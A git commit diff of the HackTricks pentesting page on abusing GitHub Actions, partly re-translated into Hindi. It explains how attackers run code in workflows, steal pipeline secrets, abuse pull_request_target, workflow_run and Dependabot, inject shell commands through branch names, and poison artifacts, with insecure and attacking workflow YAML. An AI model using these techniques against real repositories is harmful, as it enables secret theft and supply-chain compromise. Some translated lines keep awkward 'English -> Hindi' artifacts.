mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-25 20:34:33 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
Translator
@@ -1,58 +1,58 @@
|
||||
# Github Actions का दुरुपयोग
|
||||
# Abusing Github Actions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## उपकरण
|
||||
## टूल्स
|
||||
|
||||
निम्नलिखित उपकरण Github Action वर्कफ़्लो खोजने और यहां तक कि कमजोर वर्कफ़्लो खोजने के लिए उपयोगी हैं:
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - इसके चेकलिस्ट को भी देखें [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## बुनियादी जानकारी
|
||||
## मूल जानकारी
|
||||
|
||||
इस पृष्ठ पर आप पाएंगे:
|
||||
इस पृष्ठ में आप पाएँगे:
|
||||
|
||||
- एक **सारांश सभी प्रभावों** का जब एक हमलावर Github Action तक पहुँचने में सफल होता है
|
||||
- **एक्शन तक पहुँचने के विभिन्न तरीके**:
|
||||
- एक्शन बनाने के लिए **अनुमतियाँ** होना
|
||||
- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग करना
|
||||
- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग करना
|
||||
- पहले से समझौता किए गए रेपो से **पिवोटिंग** करना
|
||||
- अंत में, **एक्शन के अंदर से दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में एक अनुभाग (उपरोक्त प्रभावों का कारण)
|
||||
- किसी attacker द्वारा Github Action तक पहुँचने पर होने वाले **सभी प्रभावों का सारांश**
|
||||
- एक action तक पहुँचने के विभिन्न तरीके:
|
||||
- action बनाने की **permissions** होना
|
||||
- **pull request** संबंधित triggers का दुरुपयोग
|
||||
- अन्य **external access** तकनीकों का दुरुपयोग
|
||||
- पहले से compromised repo से **Pivoting**
|
||||
- अंत में, action के अंदर से दुरुपयोग करने के लिए **post-exploitation techniques** के बारे में एक सेक्शन (जो ऊपर बताए गए प्रभावों का कारण बनते हैं)
|
||||
|
||||
## प्रभावों का सारांश
|
||||
|
||||
[**Github Actions के बारे में बुनियादी जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय।
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रेपो** के भीतर, तो आप सक्षम हो सकते हैं:
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
|
||||
- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग** करके बाहरी प्लेटफार्मों, जैसे AWS और GCP, तक अनधिकृत पहुँच प्राप्त करना।
|
||||
- **डिप्लॉयमेंट्स और अन्य **कलाकृतियों** को समझौता करना।
|
||||
- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमला सक्षम हो सकता है।
|
||||
- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम में पिवोट किया जा सके।
|
||||
- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रेपो कोड को ओवरराइट करना**।
|
||||
- pipeline में mounted **secrets** चुरा सकते हैं और बाहरी प्लेटफ़ॉर्म्स, जैसे AWS और GCP तक unauthorized access पाने के लिए pipeline के privileges का **abuse** कर सकते हैं।
|
||||
- deployments और अन्य **artifacts** को compromise कर सकते हैं।
|
||||
- यदि pipeline assets को deploy या store करती है, तो आप final product में बदलाव कर सकते हैं, जिससे supply chain attack संभव हो जाता है।
|
||||
- custom workers में code execute करके computing power का दुरुपयोग कर सकते हैं और अन्य सिस्टमों की ओर pivot कर सकते हैं।
|
||||
- `GITHUB_TOKEN` से जुड़ी permissions के आधार पर repository के code को overwrite कर सकते हैं।
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
यह "**गुप्त**" (`${{ secrets.GITHUB_TOKEN }}` और `${{ github.token }}` से आने वाला) तब दिया जाता है जब व्यवस्थापक इस विकल्प को सक्षम करता है:
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यह टोकन वही है जो एक **Github एप्लिकेशन उपयोग करेगा**, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **क्रॉस-रेपो** पहुँच की अनुमति देता है, ताकि एक रेपो अन्य आंतरिक रेपोज़ तक पहुँच सके `GITHUB_TOKEN` का उपयोग करके।
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
|
||||
आप इस टोकन की संभावित **अनुमतियों** को देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
ध्यान दें कि टोकन **काम पूरा होने के बाद समाप्त हो जाता है**।\
|
||||
ये टोकन इस तरह दिखते हैं: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं:
|
||||
Some interesting things you can do with this token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं।
|
||||
> ध्यान दें कि कई मौकों पर आप **github user tokens inside Github Actions envs or in the secrets** पा सकते हैं। ये tokens आपको repository और organization पर अधिक privileges दे सकते हैं।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action आउटपुट में secrets की सूची</summary>
|
||||
<summary>Github Action output में secrets सूचीबद्ध करें</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>गुप्तों के साथ रिवर्स शेल प्राप्त करें</summary>
|
||||
<summary>secrets के साथ reverse shell प्राप्त करें</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की जांच करें **एक्शन के लॉग** की जांच करके:
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## अनुमत निष्पादन
|
||||
|
||||
> [!NOTE]
|
||||
> यह Github एक्शन को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं।
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
>
|
||||
> यदि आप इस परिदृश्य में हैं, तो आप बस [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) की जांच कर सकते हैं।
|
||||
> यदि आप इस परिदृश्य में हैं तो आप बस [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) देख सकते हैं।
|
||||
|
||||
### रिपॉजिटरी निर्माण से निष्पादन
|
||||
### Repo Creation से निष्पादन
|
||||
|
||||
यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github एक्शन निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**।
|
||||
यदि किसी संगठन के सदस्य **create new repos** कर सकते हैं और आप github actions चला सकते हैं, तो आप **create a new repo and steal the secrets set at organization level** कर सकते हैं।
|
||||
|
||||
### नए शाखा से निष्पादन
|
||||
### New Branch से निष्पादन
|
||||
|
||||
यदि आप **एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action** कॉन्फ़िगर किया गया है, तो आप इसे **संशोधित** कर सकते हैं, **सामग्री अपलोड** कर सकते हैं, और फिर **नई शाखा से उस एक्शन को निष्पादित** कर सकते हैं। इस तरह आप **रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं** (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)।
|
||||
यदि आप किसी repository में **create a new branch in a repository that already contains a Github Action** configured कर सकते हैं, तो आप इसे **modify** कर सकते हैं, content को **upload** कर सकते हैं, और फिर उस action को **execute that action from the new branch** कर सकते हैं। इस तरह आप **exfiltrate repository and organization level secrets** कर सकते हैं (लेकिन आपको पता होना चाहिए कि उन्हें क्या कहा जाता है)।
|
||||
|
||||
आप संशोधित एक्शन को **हाथ से** निष्पादित कर सकते हैं, जब **PR बनाया जाता है** या जब **कुछ कोड पुश किया जाता है** (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं):
|
||||
> [!WARNING]
|
||||
> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
|
||||
|
||||
आप संशोधित action को **manually,** जब **PR is created** या जब **some code is pushed** के समय executable बना सकते हैं (निर्भर करता है कि आप कितना noisy होना चाहते हैं):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -177,49 +180,49 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
## Forked निष्पादन
|
||||
|
||||
> [!NOTE]
|
||||
> विभिन्न ट्रिगर्स हैं जो एक हमलावर को **दूसरे रिपॉजिटरी के Github Action को निष्पादित** करने की अनुमति दे सकते हैं। यदि उन ट्रिगर करने योग्य क्रियाओं को खराब तरीके से कॉन्फ़िगर किया गया है, तो एक हमलावर उन्हें समझौता करने में सक्षम हो सकता है।
|
||||
> अलग-अलग ट्रिगर्स हैं जो एक attacker को **किसी अन्य रिपॉज़िटरी के Github Action को execute** करने की अनुमति दे सकते हैं। अगर उन triggerable actions को ठीक से configured नहीं किया गया है, तो एक attacker उन्हें compromise कर सकता है।
|
||||
|
||||
### `pull_request`
|
||||
|
||||
कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **निष्पादन** को **स्वीकृत** करने की आवश्यकता होगी:
|
||||
The workflow trigger **`pull_request`** हर बार workflow को execute करेगा जब एक pull request प्राप्त होता है, कुछ exceptions के साथ: डिफ़ॉल्ट रूप से अगर यह आपकी **पहली बार** collaboration है, तो किसी **maintainer** को workflow के **run** को **approve** करना होगा:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक वैध बग/टाइपो को ठीक करने** में योगदान कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**।
|
||||
> चूंकि यह **default limitation** **first-time** contributors के लिए है, आप एक वैध bug/typo fix करके contribute कर सकते हैं और फिर अपने नए `pull_request` privileges का दुरुपयोग करने के लिए **other PRs** भेज सकते हैं।
|
||||
>
|
||||
> **मैंने इसका परीक्षण किया और यह काम नहीं करता**: ~~एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।~~
|
||||
> **मैंने इसे टेस्ट किया और यह काम नहीं करता**: ~~एक और विकल्प यह होगा कि उस व्यक्ति के नाम से एक account बनाया जाए जिसने प्रोजेक्ट में योगदान दिया था और फिर उसने अपना account delete कर दिया था।~~
|
||||
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है:
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब एक कार्यप्रवाह **फोर्क की गई** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क की गई रिपॉजिटरी** से।
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
|
||||
एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने कार्यों को निष्पादित किया जा सके और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं।
|
||||
एक attacker Github Action की definition को modify करके arbitrary चीज़ें execute करने और arbitrary actions जोड़ने की कोशिश कर सकता है। हालांकि, उपरोक्त सीमाओं के कारण वह secrets चोरी नहीं कर पाएगा और repo को overwrite नहीं कर पाएगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> **हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!**
|
||||
> **हाँ, अगर attacker ने PR में उस github action को बदल दिया है जो trigger होगा, तो उसका Github Action ही उपयोग किया जाएगा न कि origin repo का!**
|
||||
|
||||
चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियों को अपलोड** कर सकता है।
|
||||
क्योंकि attacker उस code को भी control करता है जो execute हो रहा है, भले ही `GITHUB_TOKEN` पर secrets या write permissions न हों, attacker उदाहरण के लिए **upload malicious artifacts** कर सकता है।
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
कार्यप्रवाह ट्रिगर **`pull_request_target`** को लक्षित रिपॉजिटरी में **लिखने की अनुमति** और **गुप्तों तक पहुंच** होती है (और अनुमति नहीं मांगता)।
|
||||
The workflow trigger **`pull_request_target`** को target repository पर **write permission** और **access to secrets** मिलता है (और यह permission नहीं मांगता)।
|
||||
|
||||
ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड को निष्पादित न किया जा सके**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) देखें।\
|
||||
इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**github ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें।
|
||||
ध्यान दें कि workflow trigger **`pull_request_target`** **base context** में चलता है और PR द्वारा दिए गए context में नहीं (ताकि **untrusted code** execute न हो). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
यह लग सकता है कि चूंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR में नहीं** है, इसलिए **`pull_request_target`** का उपयोग करना **सुरक्षित** है, लेकिन कुछ **मामले हैं जहाँ यह नहीं है**।
|
||||
यह ऐसा लग सकता है कि क्योंकि **executed workflow** वही है जो **base** में defined है और **PR** में नहीं, इसलिए **`pull_request_target`** का उपयोग सुरक्षित है, पर कुछ मामले ऐसे हैं जहाँ यह सुरक्षित नहीं होता।
|
||||
|
||||
और यह एक **गुप्तों तक पहुंच** होगी।
|
||||
और इस एक को **secrets** तक **access** होगा।
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह `पूर्ण`, `अनुरोधित` या `प्रगति में` हो।
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger आपको एक workflow को दूसरे workflow से चलाने की अनुमति देता है जब वह `completed`, `requested` या `in_progress` हो।
|
||||
|
||||
इस उदाहरण में, एक कार्यप्रवाह को "Run Tests" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -229,18 +232,18 @@ types:
|
||||
```
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
इस तरह के workflow पर हमला किया जा सकता है अगर यह किसी ऐसे **workflow** पर **depend** करता है जिसे बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **trigger** किया जा सकता है। कुछ कमजोर उदाहरण [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण इस तरह का है कि **`workflow_run`** द्वारा ट्रिगर किया गया workflow attacker का code डाउनलोड कर रहा है: `${{ github.event.pull_request.head.sha }}`\
|
||||
दूसरा उदाहरण इसमें है कि **untrusted** code से एक **artifact** को **`workflow_run`** workflow को पास किया जाता है और उस artifact की सामग्री का उपयोग इस तरह किया जाता है कि यह **vulnerable to RCE** बन जाता है।
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Check if when executed from a `pull_request` the used/downloaded code if the one from the origin or from the forked PR
|
||||
|
||||
## Abusing Forked Execution
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
हमने उन सभी तरीकों का ज़िक्र किया है जिनसे एक बाहरी attacker किसी github workflow को execute करने में कामयाब हो सकता है, अब आइए देखें कि ये executions, अगर गलत तरीके से configured हों, तो किस तरह दुरुपयोग किए जा सकते हैं:
|
||||
|
||||
### Untrusted checkout execution
|
||||
|
||||
@@ -249,7 +252,7 @@ In the case of **`pull_request`,** the workflow is going to be executed in the *
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkout** that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
@@ -314,16 +317,18 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
यह एक समस्या है क्योंकि `github.actor` फ़ील्ड उस उपयोगकर्ता को दर्शाती है जिसने वर्कफ़्लो को ट्रिगर करने वाली नवीनतम घटना का कारण बना। और `dependabot[bot]` उपयोगकर्ता को PR को संशोधित करने के कई तरीके हैं। उदाहरण के लिए:
|
||||
Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. -> यह समस्या है क्योंकि `github.actor` फ़ील्ड उस उपयोगकर्ता को दर्शाता है जिसने workflow को ट्रिगर करने वाला नवीनतम इवेंट उत्पन्न किया।
|
||||
|
||||
- पीड़ित रिपॉजिटरी को फोर्क करें
|
||||
- अपनी कॉपी में दुर्भावनापूर्ण पेलोड जोड़ें
|
||||
- अपने फोर्क पर एक पुरानी निर्भरता जोड़कर Dependabot को सक्षम करें। Dependabot एक शाखा बनाएगा जो दुर्भावनापूर्ण कोड के साथ निर्भरता को ठीक करेगा।
|
||||
- उस शाखा से पीड़ित रिपॉजिटरी के लिए एक पुल अनुरोध खोलें (PR उपयोगकर्ता द्वारा बनाया जाएगा इसलिए अभी कुछ नहीं होगा)
|
||||
- फिर, हमलावर अपने फोर्क में Dependabot द्वारा खोले गए प्रारंभिक PR पर वापस जाता है और `@dependabot recreate` चलाता है
|
||||
- फिर, Dependabot उस शाखा में कुछ क्रियाएँ करता है, जिसने पीड़ित रिपॉजिटरी पर PR को संशोधित किया, जिससे `dependabot[bot]` नवीनतम घटना का अभिनेता बन जाता है जिसने वर्कफ़्लो को ट्रिगर किया (और इसलिए, वर्कफ़्लो चलता है)।
|
||||
And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -> और `dependabot[bot]` user को PR modify करने के कई तरीके हैं। उदाहरण के लिए:
|
||||
|
||||
आगे बढ़ते हैं, अगर Github Action के बजाय एक कमांड इंजेक्शन होता जैसे:
|
||||
- Fork the victim repository
|
||||
- Add the malicious payload to your copy
|
||||
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
|
||||
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
|
||||
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
|
||||
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
|
||||
|
||||
Moving on, what if instead of merging the Github Action would have a command injection like in: -> आगे बढ़ते हुए, क्या होगा अगर merge करने के बजाय Github Action में इस तरह का command injection हो:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -333,24 +338,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
अच्छा, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तुत करता है, जिसमें दूसरा है:
|
||||
ठीक है, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तावित करती है, जिनमें से दूसरा है:
|
||||
|
||||
- पीड़ित रिपॉजिटरी को फोर्क करें और कुछ पुराने निर्भरता के साथ Dependabot को सक्षम करें।
|
||||
- दुर्भावनापूर्ण शेल इंजेक्शन कोड के साथ एक नई शाखा बनाएं।
|
||||
- उस शाखा को रिपॉजिटरी की डिफ़ॉल्ट शाखा के रूप में बदलें।
|
||||
- इस शाखा से पीड़ित रिपॉजिटरी के लिए एक PR बनाएं।
|
||||
- PR में `@dependabot merge` चलाएं जिसे Dependabot ने अपने फोर्क में खोला था।
|
||||
- Dependabot आपके फोर्क की डिफ़ॉल्ट शाखा में अपने परिवर्तनों को मर्ज करेगा, पीड़ित रिपॉजिटरी में PR को अपडेट करेगा और अब `dependabot[bot]` को कार्यप्रवाह को ट्रिगर करने वाले नवीनतम घटना का अभिनेता बना देगा और एक दुर्भावनापूर्ण शाखा नाम का उपयोग करेगा।
|
||||
- Fork the victim repository और Dependabot को किसी outdated dependency के साथ enable करें।
|
||||
- एक नया branch बनाएं जिसमें malicious shell injection code हो।
|
||||
- repo का default branch उस branch में बदल दें
|
||||
- इस branch से victim repository में एक PR बनाएं।
|
||||
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
|
||||
- Dependabot आपकी forked repository के default branch में अपने changes merge कर देगा, victim repository में PR को update कर देगा, अब `dependabot[bot]` उस latest event का actor बन जाएगा जिसने workflow को trigger किया और malicious branch name का उपयोग करेगा।
|
||||
|
||||
### कमजोर तृतीय पक्ष Github क्रियाएँ
|
||||
### कमज़ोर तृतीय-पक्ष Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह Github क्रिया विभिन्न कार्यप्रवाहों और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंचने की अनुमति देती है।
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
|
||||
समस्या यह है कि यदि **`path`** पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में कार्यप्रवाह में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य कार्यप्रवाहों को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।
|
||||
समस्या यह है कि अगर **`path`** parameter सेट नहीं है, तो artifact वर्तमान directory में extract हो जाता है और यह उन फ़ाइलों को overwrite कर सकता है जिन्हें बाद में workflow में इस्तेमाल या execute किया जा सकता है। इसलिए, अगर Artifact vulnerable है, तो attacker इसका दुरुपयोग करके उस Artifact पर भरोसा करने वाले अन्य workflows को compromise कर सकता है।
|
||||
|
||||
कमजोर कार्यप्रवाह का उदाहरण:
|
||||
कमज़ोर workflow का उदाहरण:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -373,7 +378,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
इस वर्कफ़्लो के साथ हमला किया जा सकता है:
|
||||
इसे इस workflow के साथ हमला किया जा सकता है:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -390,35 +395,35 @@ path: ./script.py
|
||||
```
|
||||
---
|
||||
|
||||
## अन्य बाहरी पहुँच
|
||||
## Other External Access
|
||||
|
||||
### हटाए गए Namespace Repo Hijacking
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
